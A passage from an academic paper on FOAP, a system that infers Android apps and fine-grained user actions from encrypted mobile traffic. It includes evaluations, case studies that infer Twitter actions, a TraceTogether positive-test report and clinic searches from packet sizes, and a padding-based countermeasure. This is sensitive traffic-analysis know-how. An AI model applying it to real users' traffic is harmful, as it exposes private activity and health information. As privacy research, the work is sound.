compared to AppScanner for nT = 20. FOAP achieves the
highest F1-score 0.911 when nT = 20. Compared with App-
Scanner, a significant advantage of FOAP is its much higher
precision. It is because FOAP takes advantage of inter-flow
information while AppScanner doesn’t. Such information is
important for FOAP to reduce false positives in the open-
world setting. Specifically, FOAP makes use of both intrinsic
features from a network flow itself and inter-flow information
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Table 1: Evaluating FOAP in open-world app traffic recognition (mean±standard deviation).

nT
AppScanner AppScanner (extended) FOAP (our approach)

Precision Recall F1-Score Precision Recall F1-Score Precision Recall F1-Score
5 0.315±0.171 0.866±0.105 0.439±0.174 0.307±0.158 0.840±0.111 0.427±0.166 0.759±0.253 0.925±0.094 0.803±0.200
10 0.476±0.183 0.814±0.127 0.582±0.161 0.470±0.178 0.774±0.128 0.568±0.159 0.886±0.170 0.906±0.111 0.881±0.140
15 0.568±0.189 0.782±0.137 0.641±0.158 0.575±0.182 0.729±0.144 0.627±0.155 0.926±0.123 0.897±0.114 0.902±0.111
20 0.641±0.180 0.755±0.146 0.679±0.151 0.646±0.164 0.700±0.148 0.659±0.143 0.945±0.102 0.897±0.126 0.911±0.115

to improve recognition accuracy. FOAP computes structural
similarity to characterize how network flows within a time
period are structurally similar to those from the app of interest.
Based on this metric, FOAP can effectively filter out irrele-
vant network flows and significantly reduce false positives.
On the contrary, AppScanner recognizes a network flow by
only using its intrinsic features and thus it is prone to generate
false positives caused by similar network flows. Additionally,
AppScanner only recognizes which app a network flow comes
from, while FOAP not only recognizes the app that generates
a network flow but also identifies the specific EP methods that
generate the traffic to infer fine-grained UI operations.
• Case Studies of False Positives. We observed two salient
factors that increase false positive rate.
i) Share of third-party libraries. Different apps often use
the same third-party libraries (TPLs) to shorten development
cycle, potentially resulting in similar network flows generated
by them. For example, the comic app com.tencent.wecomic

uses the TPL com.facebook, which is widely used by other
apps. When FOAP recognizes network traffic generated by
this app, the average false positive rate (FPR) is 4.56×10−3,
while its FPR associated with the TPL com.facebook is 1.10×
10−2, significantly higher than the average FPR. A similar
situation is found for the sport app com.bundesliga, which
uses the TPL com.bumptech.glide. We observed its average
FPR is 4.63×10−3, while its FPR associated with the TPL
com.bumptech.glide is 1.75×10−1.
ii) Apps from the same developer. Developers may reuse
their codes when developing various apps. It aggravates the
false positive risk when distinguishing traffic from these
apps. For example, both com.google.android.apps.meetings

and com.google.android.apps.classroom are developed by
Google. To recognize network flows generated by the for-
mer app, FOAP reports more false positives caused by the
latter app (FPR = 1.13×10−2) than other apps not developed
by Google (FPR = 2.36×10−4). Another example is found
for two apps developed by Microsoft. When recognizing
network flows of com.microsoft.office.outlook, the app
com.microsoft.translator produces more false positives
(FPR = 1.62×10−2) than other apps (FPR = 6.57×10−4).
• Case Studies of False Negatives. We identified two key
factors leading to false negatives.
i) Dynamic nature. Diverse user behaviors bring highly
dynamic traffic, especially for information-intensive apps,
like news apps. In these apps, clicking on various arti-
cles/videos may trigger diverse network flows, thereby in-
creasing false negative risk. Take an example from the news

app bbc.mobile.news.ww. FOAP recognizes its network flows
with a false negative rate (FNR) 7.58×10−1. A closer look
reveals the network flows missed by FOAP (i.e., FN) indeed
exhibit substantial difference from network flows in the train-
ing dataset, since their average local similarity with this app
is 0.291, much lower than that for network flows successfully
recognized by FOAP, i.e., 0.753. Similar situations can be ob-
served for map apps. For example, FOAP recognizes network
flows generated by com.baidu.BaiduMap with an FNR 0.107.
The network flows missed (resp. recognized) by FOAP have
an average local similarity 0.381 (resp. 0.832) with this app.
ii) Low-traffic apps. We observed that some false negative
cases for low-traffic apps are caused by traffic filtering. Specif-
ically, some traffic instances of these apps may contain only
a few network flows, and FOAP may erroneously filter out
these network flows if they are mixed with other apps’ net-
work flows. For example, when recognizing network traffic
generated by the app opofficial.pdfmaker, FOAP suffers an
FNR 0.136 as it erroneously filters out network flows in 3 traf-
fic instances, each of which contains only one network flow.
In another example, we recognize network traffic generated
by the app tw.com.trtc.is.androideng. The FNR is 0.160,
and FOAP erroneously filters out network flows in 2 traffic
instances of this app, each of which contains 2 network flows.
• Generalized Open-World Setting. In a more generalized
open-world setting, the adversary will handle both app traffic
and non-app traffic. To further evaluate how FOAP performs
in such an setting, we collect various non-app traffic including
i) Mobile website traffic: It contains 580,335 network flows
that are generated by visiting Alexa top 10000 websites using
the android browser.
ii) IoT traffic from PINGPONG dataset [42]: It contains 378,797
network flows that are captured from 19 IoT devices.
iii) PC traffic: It is captured from 6 PCs, including 2 windows
PCs, 3 macOS PCs, and 1 Linux Ubuntu PC for 1 day. There
are 16,801 network flows in total.

Table 2: False positive rate for open-world network traffic
recognition (lower is better).

Open-World
Traffic AppScanner

AppScanner
(extended)

FOAP
(our method)

Mobile Web 2.41×10−2 2.18×10−2 9.93×10−4

IoT 3.39×10−2 2.85×10−2 4.36×10−5

PC 1.21×10−2 2.02×10−2 3.54×10−4

SC-App 3.24×10−2 3.09×10−2 1.45×10−2

DC-App 2.12×10−2 1.99×10−2 2.64×10−3
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All these non-app traffic will naturally be viewed as neg-
ative samples, because the goal of FOAP is recognizing the
app of interest from network traffic. Therefore, we employ
the metric false positive rate (FPR) to evaluate whether FOAP
will generate false positives over these non-app traffic. Table 2
reports the experimental results. We can find the false positive
rates of FOAP for all non-app traffic are extremely low and
much lower than those of baseline methods. It again veri-
fies FOAP’s advantage in the open-world setting. Other than
non-app traffic, Table 2 also reports the FPR for app traffic.
Intuitively, apps from the similar category may share common
network behaviors, potentially resulting in more false posi-
tives. To test this hypothesis, we group apps used for negative
class in testing into two categories, SC-App and DC-App.
SC-App refers to apps belonging to the same category with
A, while DC-App refers to apps whose categories differ from
that of A. As shown in Table 2, FPR for SC-App is higher
than that for DC-App, indicating more false positives. This
result is consistent with the above hypothesis.

7.3 EP Method Identification

We next evaluate FOAP in identifying EP methods.
• Experimental Setup. EP method identification is an app-
specific multi-label classification task. Therefore, FOAP es-
tablishes a model for each app. Similar to the previous setting,
we randomly split traffic instance set of each app into two
subsets: 40 instances for training and 10 instances for testing.
• Result. Multi-label classification can be viewed as the com-
bination of multiple binary classification tasks. To evaluate
the performance of FOAP in EP method identification, we
consider a group of binary classification tasks corresponding
to different EP methods. Specifically, we record the number
of true positives, false positives, true negatives, and false neg-
atives for each EP method and aggregate results of all EP
methods in an app to compute the precision, recall, and F1-
score. We employ micro-average method to compute these
metrics due to the class imbalance in our problem.

Table 3: Evaluating FOAP in EP method identification
(mean±standard deviation).

ε Precision Recall F1-Score
0.5 0.888±0.102 0.883±0.105 0.885±0.101
1 0.886±0.104 0.868±0.114 0.876±0.106
2 0.885±0.111 0.853±0.126 0.866±0.114
5 0.892±0.105 0.828±0.137 0.856±0.116

Table 3 reports the experimental results. FOAP achieves
the highest average F1-score 0.885 when ε = 0.5 second.
As the value of burst threshold ε increases, the precision of
FOAP improves. The underlying reason is a larger ε results in
more packets (therefore more information) involved in each
in-flow burst, which helps reduce false positives. The highest
average precision 0.892 is achieved when ε = 5 seconds. A
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Figure 4: Impact of experimental data size.

side-effect of increasing ε is recall decline, which is caused
by the majority voting mechanism used in burst labeling.
We relax the multi-label classification problem to a series of
multi-label classification subproblems at the cost of labeling
a in-flow burst with only a single EP method, which implies
a potential information loss of label. A larger ε will lead
to more significant information loss and thus a lower recall.
Consequently, the highest average recall 0.883 is achieved
when ε = 0.5 second.

7.4 Impact of Experimental Data Size

To analyze how experimental data size influences the perfor-
mance, we compare FOAP with baseline methods in both
closed-world setting and open-world setting with varied app
number in testing (i.e., nI = 1,5,25,125,625).
• Experimental Setup. As for the closed-world setting, apps
for model training are the same as those in testing. As for the
open-world setting, apps that are considered as the negative
class for model training and those in testing belong to two
disjoint sets. We fix the number of apps that are considered
as the negative class during model training to be nT = 20 and
change that in testing as nI = 1,5,25,125,625.
• Result. We report the experimental results in Figure 4. Fig-
ure 4(a) presents a log-log plot about how FPR changes when
nI increases. In general, FOAP consistently outperforms base-
line methods as it has lower FPR. In the open-world setting,
unlike FPR for baseline methods, which tends to be constant,
FPR of FOAP gradually decreases as nI increases. The under-
lying reason is related to traffic filtering. When nI is small,
false positives caused by “noise”, e.g., background network
flows, within relevant traffic segments dominate FPR. When
nI is large, false positives are expected to be mainly caused by
mis-classification of network flows from other apps. Thanks
to the traffic filtering module of FOAP, most network flows
from other apps are filtered out. Consequently, the FPR of
FOAP decreases when nI increases. In the closed-world set-
ting, FPR of all methods first drops because the diversity of
negative samples for model training increases with nI . (Recall
that nT = nI in the closed-world setting.) A large value of nT
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results in extreme class imbalance, which is commonly rec-
ognized as a negative factor in machine learning. To mitigate
the class imbalance, we employ the resampling strategy. Its
side-effect is FPR for all methods rises again when nI > 125.
Figure 4(b) shows how FNR changes with nI . In the open-
world setting, FNR of all methods tends to be constant, while
in the closed-world setting FNR increases with nI , indicating
more false negatives. It is caused by class imbalance dur-
ing model training, despite a resampling strategy has been
employed. Compared with baseline methods, FOAP shows
advantage again in both settings.

7.5 Impact of Third-Party Libraries

The share of third-party libraries, such as advertisement li-
brary and third-party app authorization, among different apps
potentially increases false positives, because the same third-
party library may trigger similar network flows. We investi-
gate this hypothesis in this experiment.

• Experimental Setup. We analyze how third-party libraries
influence the performance of FOAP and baseline methods
in the open-world setting. nT and nI are fixed to be 20. For
each app, we first identify all TPLs used by it with the aid of
Libradar [25]. Next, we correlate its EP methods with these
TPLs. If the package name of an EP method matches a TPL,
we regard this EP method as an EP method belonging to
the TPL. Recall that we have labeled network flows with EP
methods by leveraging method-level labeling. Combining the
above two kinds of information, we can label a network flow
with a TPL if any EP method belonging to this TPL triggers
this network flow. Otherwise, we label it as a network flow
triggered by the app-specific library (i.e., app class).

• Result. Table 4 reports FPR and FNR related with the top
5 third-party libraries in our dataset as well as the average
performance for third-party libraries. As a comparison, we
also present FPR and FNR related with app-specific libraries,
which we refer to as app class. For all methods, the FPR
related with third-party libraries is higher than that related
with app class. Particularly, the FPR of FOAP in recognizing
network flows associated with app class is 3.65×10−3, while
FPR rises to 5.80×10−3 for third-party libraries, which im-
plies more false positives are generated. Another observation
is third-party libraries do not increase false negatives. In fact,
we even observe a slight FNR decline for FOAP. We conjec-
ture a possible reason is when compared with app-specific
libraries, third-party libraries may exhibit less diverse net-
work behaviors because each of them is probably invoked for
some fixed purposes, such as advertisement. To summarize,
despite third-party libraries increase false positives, the FPR
of FOAP is still reasonably low. In addition to third-party
libraries, other factors may also influence the FPR of FOAP.
We analyze the impact of automatic app generators in § C.

7.6 Cross-Dataset Evaluation

In this experiment, we evaluate to what extent FOAP trained
based on a Monkey-generated dataset is able to recognize app
traffic generated by humans.

• Experimental Setup. We randomly choose 100 out of
1000 apps to construct a dataset that reflects the true human-
generated behaviors. Specifically, we recruit 5 volunteers to
manually operate these apps and generate 5×100 traffic in-
stances, each of which lasts for about 5 minutes. We compare
three transfer settings. In the “M → M” setting, FOAP is
trained over Monkey-generated dataset and tested over the
same dataset. In the “M→ H” setting, FOAP is trained over
Monkey-generated dataset and tested over human-generated
dataset. In the “EM → H” setting, the Monkey-generated
dataset is enhanced by traffic instances generated by 4 volun-
teers and FOAP recognizes the traffic instance generated by
the remaining volunteer. For statistical soundness, we rotate
the volunteer for testing and report the average performance.

• Result. Table 5 reports experimental results for open-world
app traffic recognition. Compared with “M → M” setting,
the recall of FOAP in “M→ H” setting reduces from 0.886
to 0.760, indicating some network flows generated by hu-
mans cannot be recognized and reported as false negatives.
Nonetheless, it still outperforms baseline methods and even
exhibits more significant advantage. Table 6 reports experi-
mental results for EP method inference. Both precision and
recall of FOAP exhibit a decline trend. We conjecture that the
underlying reasons are two-fold. On one hand, Monkey test
can hardly cover all UI operations that human may trigger
in the wild. On the other hand, Monkey’s behavior is highly
random and thus UI operations triggered by monkey tend
to be contextually independent. On contrary, UI operations
triggered by humans are contextually correlated. Such a dif-
ference potentially results in different code paths and different
network flows when the same UI operation (e.g., clicking a
button) is triggered by Monkey and humans respectively.

To further explore how to improve the performance of
FOAP, we enhance Monkey-generated dataset by involving
human-generated traffic instances in the “EM→ H” setting.
Even though only 4 traffic instances are added to training
dataset, the recall for open-world app traffic recognition is
improved from 0.760 to 0.873. Likewise, both precision and
recall for EP method inference rise. This experiment reveals
a practical manner to construct training dataset when FOAP
is applied in the wild. That is constructing FOAP’s train-
ing dataset by combing traffic instances generated by both
automatic test tools and humans, because i) it is less labor-
intensive for automatic test tools to generate a large number of
traffic instances, which empower FOAP with a high precision
and fewer false positives, and ii) traffic instances generated
by humans are beneficial to reducing false negatives and im-
proving the recall of FOAP.
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Table 4: Impact of third-party libraries.

Library Coverage AppScanner AppScanner (extended) FOAP (our approach)
FPR FNR FPR FNR FPR FNR

App Class 100% 2.26×10−2 3.10×10−1 2.18×10−2 3.04×10−1 3.65×10−3 1.26×10−1

TPL (average performance) 86.2% 3.57×10−2 3.30×10−1 3.27×10−2 3.29×10−1 5.80×10−3 1.21×10−1

com.google.android.gms 65.4% 5.15×10−2 2.75×10−1 4.26×10−2 3.48×10−1 9.32×10−3 2.20×10−1

com.facebook 54.8% 3.17×10−2 3.26×10−1 3.13×10−2 2.99×10−1 3.99×10−3 6.59×10−2

com.google.firebase 23.0% 2.57×10−2 4.43×10−1 2.51×10−2 4.15×10−1 2.35×10−3 9.99×10−2

com.bumptech.glide 17.0% 3.85×10−2 2.29×10−1 2.18×10−2 2.09×10−1 4.53×10−3 8.15×10−2

com.urbanairship 3.9% 9.22×10−2 3.93×10−1 7.02×10−2 3.49×10−1 1.58×10−2 2.81×10−2

Table 5: Evaluating open-world app traffic recognition in cross-dataset experimental settings (mean±standard deviation).

Transfer Setting AppScanner AppScanner (extended) FOAP (our approach)
Precision Recall F1-Score Precision Recall F1-Score Precision Recall F1-Score

M→M 0.625±0.167 0.775±0.120 0.681±0.135 0.634±0.148 0.700±0.136 0.655±0.127 0.947±0.074 0.886±0.157 0.906±0.114
M→ H 0.506±0.222 0.521±0.195 0.481±0.185 0.436±0.212 0.508±0.201 0.439±0.181 0.905±0.163 0.760±0.219 0.802±0.194

EM→ H 0.514±0.213 0.649±0.162 0.547±0.180 0.470±0.199 0.656±0.173 0.525±0.179 0.929±0.129 0.873±0.169 0.882±0.150

Table 6: Evaluating EP method identification in cross-dataset
experimental settings (mean±standard deviation).

Transfer Setting Precision Recall F1-Score
M→M 0.879±0.098 0.872±0.093 0.874±0.093
M→ H 0.771±0.143 0.801±0.146 0.783±0.139

EM→ H 0.830±0.145 0.834±0.150 0.831±0.143

7.7 Running Time of FOAP
In addition to accuracy, system efficiency also plays an impor-
tant role. To this end, we evaluate the running time of FOAP
by running it on a single core of a desktop equipped with an
Intel Core i7-7700 CPU processor. FOAP takes an average of
1.77×10−2 second to recognize whether a network flow is
from the app of interest. To further identify method-level user
actions, FOAP spends another 5.91×10−2 second process-
ing each network flow from the app of interest. The above
experimental results indicate FOAP is highly efficient when
applied in practice. Table 7 reports fine-grained running time
for different modules of FOAP.

Table 7: Running time of FOAP.

Task Major Steps Running Time (second/flow)

Open-World
App Traffic
Recognition

Extract Flow Features 1.71×10−2

Traffic Segmentation 5.10×10−4

Traffic Filtering 3.61×10−6

Flow Recognition 7.73×10−5

Total 1.77×10−2

Method-Level
User Action
Identification

Extract Burst Features 1.16×10−2

EP Method Inference 4.74×10−2

Total 5.91×10−2

8 Application

We further demonstrate how FOAP can be applied in fine-
grained user activity inference and user privacy analysis.

8.1 Fine-Grained User Activity Inference
A direct application of FOAP is inferring fine-grained seman-
tic user activities from encrypted mobile traffic. We demon-

strate this application through the case study of Twitter. To
this end, we first map EP methods of Twitter to various user
actions with the aid of UI Automator2. Specifically, we extract
resource IDs of UI components that are associated with user
actions listed in Table 8, (e.g., the button to share a tweet),
using UI Automator and then compare them with the resource
ID of EP methods obtained by FOAP’s network flow labeling
module to achieve a one-to-one mapping between user action
and EP method. By doing so, we can reasonably infer user ac-
tivities characterized by these user actions through identifying
EP method invocation from encrypted mobile traffic.

We recruit two volunteers for this experiment. To construct
the training dataset, the first volunteer operates Twitter to
generate 20 traffic instances. The reason why we construct
training dataset manually instead of using an automatic test
tool (e.g., Monkey) is we consider many complicated user
actions (e.g., retweet) in this case study and they are extremely
difficult, if not entirely impossible, to trigger these operations
with an automatic test tool. However, designing a smarter
automatic test tool is out of the scope of this paper. To test how
FOAP performs, the second volunteer is required to operate
Twitter and meanwhile record his operations, i.e., user actions
and timestamps, to establish the ground truth. Additionally,
he also randomly chooses another 20 apps and operates them
to test whether FOAP generates false positives.

FOAP spends about 40 seconds processing all 1706 net-
work flows (31 TP, 1673 TN, 0 FP, 2 FN). Figure 5 illustrates
the inference result. For ease of representation, we depict all
network flows associated with user actions that have been
successfully identified (denoted by F1, F2,. . ., F5) but omit
other network flows even if they are from Twitter. FOAP
successfully identify 12 user actions. It also makes some mis-
takes. Specifically, FOAP fails to report “search” at the 295th
second but misreports it at the 352nd second. At the 317th
second, it erroneously identifies “retweet” as “favorite”. To
summarize, FOAP achieves a high precision in recognizing
network flows generated by Twitter. Besides, the accuracy for
identifying fine-grained user actions is also reasonable.

2https://developer.android.com/training/testing/ui-automator
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Table 8: EP methods for inferring Twitter user activities.

User Action EP Method
Login com.twitter.android.p1.onClick
Like com.twitter.ui.tweet.inlineactions.InlineActionView$b.onAnimationEnd
Favorite com.twitter.android.va$k.onClick
Retweet xbb.onClick
Follow com.twitter.app.profiles.y0.onClick
Notification tcb.onClick
Send Message com.twitter.app.dm.widget.DMConversationMessageComposer.onClick
Navigation com.google.android.material.tabs.TabLayout$i.performClick
Search km4.onClick

Table 9: Packet sequences associated with searching doc-
tor of different hospital departments in ECEasyBook.

Department Packet Sequence (Byte)
General Clinics · · ·673 ↑ 66 ↓ 97 ↓ 78 ↑ 1180 ↓ 66 ↑ 97 ↑ 66 ↑ 66 ↓ · · ·
Gynaecology · · ·673 ↑ 66 ↓ 97 ↓ 78 ↑ 1272 ↓ 66 ↑ 97 ↑ 66 ↑ 66 ↓ · · ·
Dermatology · · ·673 ↑ 66 ↓ 97 ↓ 78 ↑ 1266 ↓ 66 ↑ 97 ↑ 66 ↑ 66 ↓ · · ·
Chinese Medicine · · ·674 ↑ 66 ↓ 97 ↓ 78 ↑ 1306 ↓ 66 ↑ 97 ↑ 66 ↑ 66 ↓ · · ·
Paediatrics · · ·673 ↑ 66 ↓ 97 ↓ 78 ↑ 1238 ↓ 66 ↑ 97 ↑ 66 ↑ 66 ↓ · · ·
Geriatrics · · ·673 ↑ 66 ↓ 97 ↓ 78 ↑ 1292 ↓ 66 ↑ 97 ↑ 66 ↑ 66 ↓ · · ·
Psychiatry · · ·674 ↑ 66 ↓ 97 ↓ 78 ↑ 1247 ↓ 66 ↑ 97 ↑ 66 ↑ 66 ↓ · · ·

“↓” stands for inbound packets and “↑” stands for outbound packets.

Login

Favorite

Like

Retweet
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Notification

Send Message

Navigation

Time

FollowTP
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Figure 5: Inferring Twitter user activities.
sg.gov.tech.bluetrace.fragment.

EnterPinFragment$onViewCreated$2.onClick

Figure 6: Identifying positive reporting in TraceTogether.

8.2 User Privacy Analysis

FOAP facilitates user privacy analysis by locating network
flows associated with privacy-sensitive EP methods.
• Sensitive Method Identification. The invocation of sensi-
tive EP methods in an app may leak out private user infor-
mation, such as health status, sexual preference, and search
queries. FOAP is able to identify them to infer user privacy.

The COVID-19 pandemic has rapidly spread across the
world. To fight against the pandemic, contact tracing has been
proven to be an effective strategy in monitoring virus spread-
ing. To this end, lots of contact tracing apps are developed
and published. Unfortunately, some of these apps may suf-
fer the risk of privacy leakage. By analyzing the encrypted
mobile traffic, one may infer if a user tests positive. Figure 6
presents an example about COVID-19 contact tracing apps,
i.e., TraceTogether3 The experimental setting is similar to that

3https://www.tracetogether.gov.sg/

for Twitter. FOAP spends about 39 seconds in processing all
2250 network flows and recognizes 5 network flows gener-
ated by TraceTogether (no FP and FN). FOAP successfully
identifies that the TraceTogether user (i.e., the second vol-
unteer) clicks the button for positive test reporting, which
invokes the EP method sg.gov.tech.bluetrace.fragment.

EnterPinFragment$onViewCreated$2.onClick. FOAP cap-
tures this sensitive information by identifying in-flow burst
associated with this method.
• In-Method Side-Channel Leaks. FOAP also helps the
analysis of in-method side-channel leaks, where diverse
packet sequences triggered by the same EP method may leak
sensitive private information. To demonstrate how the adver-
sary may infer user privacy, e.g., the illness of the user, from in-
method side-channel, we present an example about ECEasy-
Book4, a clinic appointment app. In this app, the user searches
doctors in different hospital departments will invoke the same
EP method com.ecbook.eceasy.ui.main.c.c$e.onClick but
trigger network flows with some differences in packet se-
quence. For example, the difference between searching doc-
tors of dermatology and searching doctors of paediatrics oc-
curs in the twelfth packet. The packet size for dermatology
is 1266 bytes, while that for paediatrics is 1238 bytes. By
leveraging this difference, the adversary may infer the illness
of the user. We list packet sequences associated with search-
ing doctor of different hospital departments and highlight the
major differences in Table 9. Although FOAP did not directly
infer user privacy in this example, it plays an important role
in locating privacy-sensitive methods, enabling the adversary
to zero in on network flows that leak out user privacy.

9 Discussion

9.1 Countermeasure

To defend against traffic analysis attacks, existing counter-
measures aim to obfuscate traffic features using different
strategies. There are three common obfuscation strategies:
i) padding packets to obfuscate features related to packet
sizes [24, 47], ii) injecting dummy packets to obfuscate fea-
tures related to packet directions [7, 17], iii) delaying packets

4https://eceasybook.com/
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Figure 7: Design of our AProxy countermeasure.

to obfuscate features related to packet timing [11, 24]. In-
spired by IMProxy [7], a proxy-based obfuscation system
against traffic analysis attacks on messaging apps, we design
an obfuscation system, named by AProxy, to implement traffic
obfuscation in the form of proxy-based relayers and incorpo-
rate two obfuscation strategies that have been proven to be
effective in defending against WF attacks, i.e., packet padding
and injection of dummy packets. We do not consider the
packet delaying strategy because it greatly degrades user ex-
perience if applied to apps. As illustrated in Figure 7, AProxy
is comprised of an AProxy client and an AProxy server. The
AProxy client is deployed on the Android smartphone while
the AProxy server is a remote proxy server. Before relaying
the outbound traffic to the AProxy server, the AProxy client
first adds padding to the outbound packets so that all packet
sizes equal 1500 bytes (i.e., MTU). It also injects outbound
dummy packets with MTU size into each flow. The arrival
time of dummy packets follows a Poisson process. After re-
ceiving the manipulated traffic, the AProxy server removes
padding and dummy packets, and further relays it to the app
server. As for the inbound traffic, the AProxy client and server
switch roles. The AProxy server adds padding and injects in-
bound dummy packets while the AProxy client removes them
and relays purified inbound packets to the app.

We experimentally evaluate the effectiveness of AProxy.
Figure 8 reports the defense effect. “Padding” represents only
packet padding is conducted and “P+D(x)” represents the
dummy packet number is x times the original packet num-
ber. Generally, more dummy packets result in a worse per-
formance of FOAP. For example, when the dummy packet
number is twice the original packet number, the average F1-
score for app traffic recognition drops from 0.911 to 0.714. A
counterintuitive example is the precision for P+D(2) is higher
than that for P+D(1) in EP method identification. A closer
look reveals the precision decline is mainly caused by dummy
bursts. Specifically, dummy packets may form dummy bursts,
which are injected into original network flows and potentially
undermine EP method identification as noises. FOAP will not
distinguish these noises from original in-flow bursts and still
predicts their labels, i.e., EP methods. Once the predicted EP
methods are inconsistent with EP methods that exactly trig-
ger the network flows where these noises are injected, false
positives are generated. Therefore, more dummy bursts are
expected to result in larger precision decline. At first glance,

(a) Open-world app traffic recogni-
tion.

(b) EP method identification.

Figure 8: Evaluating AProxy against FOAP.

P+D(2) injects more dummy packets than P+D(1). However,
we observed P+D(2) injects about 0.02 dummy burst per flow,
while P+D(1) injects about 2.1 dummy bursts per flow. It is be-
cause denser dummy packets reduce inter-packet interval and
tend to form bigger but fewer dummy bursts. Consequently,
P+D(1) leads to a lower precision of FOAP than P+D(2).

9.2 Limitation
• Separability of Flow. Since FOAP recognizes apps by ana-
lyzing network flows, the prerequisite for doing so is different
network flows are separable. In other words, packets from the
same network flow can be grouped together to extract flow
features. It implies FOAP’s incompetence in the scenarios
where network flows are inseparable, such as Tor.
• Offline Recognition. FOAP works in an offline fashion,
because some procedures, e.g., traffic segmentation and EP
method inference, are not stream-oriented. To enable quasi-
real-time analysis, an immediate improvement is specifying
sidling time windows and analyzing network traffic within
each window independently. A larger window size potentially
helps improve recognition accuracy, but introduces a higher
computational overhead because more information will be in-
volved in each time window. A smaller sliding step facilitates
timeliness at the cost of more frequent analysis. Therefore,
the proper window size and sliding step are chosen based on
a trade-off between accuracy, timeliness, and overhead.
• Model Integration. To achieve fine-grained open-world
app fingerprinting, FOAP needs to integrate multiple machine
learning (ML) models. On one hand, these models are nec-
essary to tackle various challenging issues in our problem.
On the other hand, each model may need separate data sci-
ence effort for model training and parameter tuning, which
increases difficulty, albeit controllable, to apply FOAP in the
wild. Specifically, for each app of interest, FOAP collects its
traffic instances and constructs an app-level training dataset
to train ML models for traffic segmentation, traffic filtering,
and flow recognition. FOAP also needs to construct a method-
level training dataset to train the spatial-temporal context
model for EP method inference. Fortunately, FOAP features
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the capability of automatic labeling of training data, thereby
drastically minimizing the overhead of training data prepa-
ration. Additionally, different models may need separate ef-
fort for parameter fine-tuning. Nevertheless, our experiments
demonstrate default parameters of these models are exten-
sively suitable across different apps, hence alleviating the
difficulty in parameter fine-tuning.
• Limited Open-Worldness. FOAP aims at open-world app
traffic recognition. The number of available apps in the
Google Play Store is about 3.5 million [36]. We evaluate
FOAP using 1000 apps, around 0.29h of apps hosted in
Google Play store. Such a percentage is comparable to those
for open-world WF attacks in [33, 46]. There are around
1.9 billion websites in total [23], among which [46] consid-
ered 80,100 websites (around 0.04h of total websites) in
the open-world evaluation, while [33] considered about 400
thousand websites (around 0.21h of total websites). Despite
the number of apps used in this paper is substantially larger
than that in most existing works [5, 14, 22, 29, 39], there is
still a gap between our evaluation and realistic open world.
We will collect more apps for evaluation in future work.
• Synthesized Traffic. To reduce the cost for data collection,
we use traffic instances as negative samples when constructing
the testing data for different apps. Consequently, we generate
synthesized testing traffic by merging traffic instances from
different apps and employing Poisson process to mimic a
random use of apps. While Poisson process has been widely
used to model human behaviors [13, 18, 31, 50], further in-
vestigation is needed to evaluate whether Poisson process can
accurately characterize the use of apps. First, the use of apps
depends on human dynamic, e.g., work and rest, and thus the
use of an app may exhibit temporally heterogeneous property,
which may not be well characterized by Poisson process. Sec-
ond, the use of some apps may be temporally correlated for
real human. However, we randomly arrange the order of dif-
ferent apps without considering their correlation. Therefore,
the synthesized traffic resulting from merging traffic instances
based on Poisson process might not exactly reproduce a real
environment, and thus the performance of FOAP in the real
world might be affected. We will further evaluate FOAP using
non-synthetic traffic in future work.

10 Related Work

As an important branch of traffic analysis, traffic fingerprint-
ing techniques aim to infer user behavior by leveraging statis-
tic features of network traffic without accessing packet pay-
load plaintext, thereby immune to traffic encryption.
App Fingerprinting. Our work falls into the category of app
fingerprinting (AF), which focuses on the analysis of mobile
network traffic. There are lots of efforts towards the identifi-
cation of apps [2–4, 14, 39–41, 43]. For example, Taylor et
al. proposed a modular framework AppScanner for automatic
fingerprinting and real-time identification of Android apps

from encrypted network traffic [39, 40]; Aceto et. al proposed
a multimodal deep learning framework, dubbed MIMETIC,
for mobile encrypted traffic classification to identify different
apps [5]. To carry out more fine-grained characterization of
user behaviors, some works [15, 22, 29] aim at the identi-
fication of selected user activities of interest. For example,
Saltaformaggio et al. presented NetScope, a technique that
utilizes traffic behavioral clues to automatically build a de-
tector for smartphone app activities [29]; Fu et al. proposed
CUMMA to classify service usages of mobile messaging apps
by jointly modeling user behavioral patterns, network traffic
characteristics, and temporal dependencies [15]; Liu et al.
developed a recursive time continuity constrained KMeans
clustering algorithm for traffic flow segmentation and classi-
fied the segmented traffic to identify in-app user activity [22].

Compared with existing AF techniques, FOAP is more fine-
grained because we conduct method-level fingerprinting and
infer EP methods associated with various UI components. By
doing so, FOAP is able to not only identify fine-grained user
activities but also infer sensitive private information (e.g., ill-
ness). Besides, the vast majority of existing AF techniques
(e.g., [15, 22, 29, 39, 40]) work under the closed-world as-
sumption. In this paper, we consider a more practical but
challenging scenario, i.e., open-world setting. In literature,
[9, 10, 43] also consider the open-world scenario. Unfortu-
nately, their methods cannot solve our problem because they
have different threat models. [43] took advantage of destina-
tion features while [9, 10] only handle unencrypted data.

Website Fingerprinting. Website fingerprinting (WF) fo-
cuses on inferring sensitive websites visited by users via
encrypted proxies or anonymity networks, e.g., Tor. In the
light of how to extract traffic features, existing WF techniques
(e.g., [19, 27, 28, 30, 32, 33, 46, 48]) can be roughly cat-
egorized into the feature-engineering-based and the deep-
learning-based. The former category [19, 27, 30, 46, 48] re-
quires crafted features extracted using specific domain knowl-
edge and employs a variety of machine learning algorithms,
such as random forest, SVM, and KNN, to train classifiers for
website identification, while the latter category needs either an
enormous training set for automatic feature extraction [28, 32]
or samples from a large number of similar tasks to conduct
meta learning [33]. Due to different threat models, WF can-
not be directly applied to our problem. Nevertheless, some
of these works inspire us in traffic feature extraction. For
example, we extract traffic features about interactive pattern
inspired by [27]. In a recent work [46], Wang proposed three
novel classes of precision optimizers to improve the preci-
sion of open-world website fingerprinting (WF) at the cost
of recall decline. He also argued that it is more important to
optimize the precision of WF attacks than their recall. Un-
fortunately, such a method is not applicable for our problem
where precision and recall are comparably important.
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11 Conclusion

In this paper, we took the first step to identify method-level
fine-grained user action of Android apps in the open-world
setting. To this end, a systematic solution dubbed FOAP was
proposed. It features i) the capability of effectively reducing
the false positive risk in open-world app recognition through
adaptive traffic filtering and ii) method-level user action iden-
tification via synthesizing traffic and binary analysis. We
have evaluated the effectiveness of FOAP through extensive
experiments. FOAP significantly outperforms the baseline
approaches by improving the F1-score from 0.679 to 0.911
for app recognition. It also achieves a reasonable accuracy in
EP method identification. The average F1-score is up to 0.885.
We also demonstrated the practicality of FOAP in fine-grained
user activity inference and user privacy analysis.
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Appendices

A Hyperparameter Tuning of FOAP

We select the best hyperparameters based on grid searching
to maximize the average F1-score. Table 10 summarizes the
hyperparameter tuning process.

Table 10: Hyperparameter tuning.

Parameter Search Space Selected Value
nmin {2,5,10,20,50,100} 10
